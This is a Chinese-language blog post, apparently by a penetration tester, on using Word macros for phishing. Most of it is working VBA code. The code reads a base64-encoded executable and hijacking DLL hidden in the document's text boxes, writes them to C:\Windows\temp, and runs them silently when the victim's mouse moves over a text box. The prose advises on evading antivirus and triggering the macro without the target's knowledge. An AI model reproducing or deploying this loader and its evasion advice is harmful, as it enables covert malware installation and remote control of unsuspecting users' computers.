钓鱼与社工系列之office宏

0x01 介绍

根据多次项目实战中发现，office宏仍然是最高的成功率，在静默钓鱼中也是最不容易触发人员的警觉。因为大部分员工即使有安全意识，也是不运行陌生的exe程序，但是对于word文档则没有足够的安全意识，认为word文档都是安全的。正是基于此心理状态，office宏在钓鱼中仍然占据重要成分。

当然，现在office在国内市场中其实占据并不多，越来越多人用wps了。那么这种情况下office宏肯定是无效了，下篇文章会针对该情景分析如何钓鱼。

0x02 宏代码流程及免杀

网上有很多项目及文章是如何实现宏免杀的效果，之所以要宏免杀大部分原因都是代码是实现运行宏的时候就直接远程上线到rat上。例如调用powershell或者远程下载等等代码所用到的api或者函数，都被杀软盯着。那么换个思路，我们即不调用powershell执行敏感函数，也不远程下载文件，我们所做要的是释放文件并通过dll劫持实现上线。

释放文件其实也是个技术活，经过测试，能否释放文件成功主要看你的文件是不是静态免杀，如果文件静态免杀，那么就能够成功释放。因为这就是个正常的功能，杀软不可能拦截你释放安全的文件，不然就影响一些职业的正常办公了。而我们用的是dll劫持的方法，白名单程序肯定是安全的文件，那么就是我们的恶意dll文件如何实现静态免杀了。如何让dll文件静态免杀的方法很多，网上也有很多项目，这块内容不在该文章里，以后会详细讲解。

上段说了释放文件，而文件也都静态免杀了。那么还有一个要注意的地方，那就是dll劫持的程序保存在word文件哪里？首先我们得将dll劫持程序已二进制形式读取出来，然后base64编码后得到了一串字符串，只要释放的时候重新base64解码并已二进制形式写入到磁盘里，这样就能够释放出dll劫持程序了。那么重点就是该base64字符串存放在哪里？千万别放在宏代码里，很容易被杀，最好的规避杀软的方法就是将base64字符串放到word正文里的文本框等控件里。然后宏代码去读取文本框里的base64字符串，再解码写入磁盘里并运行白程序实现上线。这样通过该方法就能够实现了宏免杀。

最后一步就是如何触发宏了，千万不要使用打开word文件就触发宏的方法，很容易被杀软拦截。我常用的方法就是弄一个很大的文本框放在第一页，然后当目标的鼠标移动到文本框时就触发宏。这样的方法既能有效规避杀软，还能在目标不知情的情况下触发了宏！

总结：寻找一个dll劫持的白程序，做一个静态免杀的dll文件，将所有文件以二进制形式读取出来并base64编码后存放到word的文本框里。宏代码功能读取文本框里的字符串并解码写入磁盘，然后运行白程序即可免杀上线！

0x03 宏代码

0x03-1 读取文件并base64编码

先使用下面的代码将白程序和dll文件base64编码得到字符串

Sub WriteBinary(FileName, Buf)
  Dim I, aBuf, Size, bStream
  Size = UBound(Buf): ReDim aBuf(Size \ 2)
  For I = 0 To Size - 1 Step 2
      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
  Next
  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Sub

Function Base64Encode(str() As Byte) As String                                  'Base64 编码
    On Error GoTo over                                                          '排错
    Dim Buf() As Byte, length As Long, mods As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    mods = (UBound(str) + 1) Mod 3   '除以3的余数
    length = UBound(str) + 1 - mods
    ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)
    Dim I As Long
    For I = 0 To length - 1 Step 3
        Buf(I / 3 * 4) = (str(I) And &HFC) / &H4
        Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10
        Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40
        Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F
    Next
    If mods = 1 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10
        Buf(length / 3 * 4 + 2) = 64
        Buf(length / 3 * 4 + 3) = 64
    ElseIf mods = 2 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10
        Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4
        Buf(length / 3 * 4 + 3) = 64
    End If
    For I = 0 To UBound(Buf)
        Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)
    Next
over:
End Function


'VB Base64 解码/解密函数：

Function Base64Decode(B64 As String) As Byte()                                  'Base64 解码
    On Error GoTo over                                                          '排错
    Dim OutStr() As Byte, I As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)     '判断Base64真实长度,除去补位
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For I = 1 To length Step 4
        Dim Buf(3) As Byte
        For j = 0 To 3
            Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1            '根据字符的位置取得索引值
        Next
        OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10
        OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4
        OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    Base64Decode = OutStr                                                       '读取解码结果
over:
End Function


Sub test2()
    Dim iFN As Integer
    Dim sPath As String
    Dim bFileSize As Long
    Dim sResult As String
    Dim arr() As Byte       ' 字节数组
    Dim arra() As Byte       ' 字节数组
    Dim infile, outfile, infileBase As String
    infile = "C:\Windows\Temp\123.exe"
    outfile = "c:\windows\temp\1.exe"

    iFN = VBA.FreeFile

    bFileSize = VBA.FileLen(infile)
    'Debug.Print bFileSize
    Open infile For Binary Access Read As iFN
    arr = InputB(bFileSize, iFN)        '读取字节流

    infileBase = Base64Encode(arr())

    'Debug.Print infileBase

    Dim FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")

    Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)
    OutPutFile.Write (infileBase)
    OutPutFile.Close
    Set FSO = Nothing


    'Dim infileBaseExe As String
    'infileBaseExe = Range("J22").Value
    'infileBaseExe = infileBaseExe + Range("J23").Value

    'arra = Base64Decode(infileBase)

    'WriteBinary outfile, arra


End Sub

0x03-2 office宏上线代码

从文本框中读取base64内容，解码后写入到c:\windows\temp\目录下，当用户鼠标移动或点击到文本框中，触发宏执行木马

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)
Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

Function fileExist(filePath)
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.fileExists(filePath) Then
        fileExist = True
    Else
        fileExist = False
    End If
    Set fso = Nothing
End Function


Function dddddd(B64 As String) As Byte()
    On Error GoTo over
    Dim OutStr() As Byte, i As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For i = 1 To length Step 4
        Dim buf(3) As Byte
        For j = 0 To 3
            buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1
        Next
        OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10
        OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4
        OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    dddddd = OutStr
over:
End Function


Function runCommand(comando)
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim lSuccess As Long
    Dim lRetValue As Long

    lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)

    lRetValue = CloseHandle(pInfo.hThread)
    lRetValue = CloseHandle(pInfo.hProcess)

End Function


Function WriteBinary(FileName, buf)
  Dim i, aBuf, Size, bStream
  Size = UBound(buf): ReDim aBuf(Size \ 2)
  For i = 0 To Size - 1 Step 2
      aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))
  Next
  If i = Size Then aBuf(i \ 2) = ChrW(buf(i))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Function


Function releaseFile(path As String, conte As String)

    hwminiArra = dddddd(conte)
    WriteBinary path, hwminiArra



End Function


Function start()
    Dim filePath As String
    filePath = "C:\Windows\temp\aaaaaaa.exe"
    If Not fileExist(filePath) Then
        releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)
        releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)
    End If
    runCommand (filePath)

End Function




Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub


Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub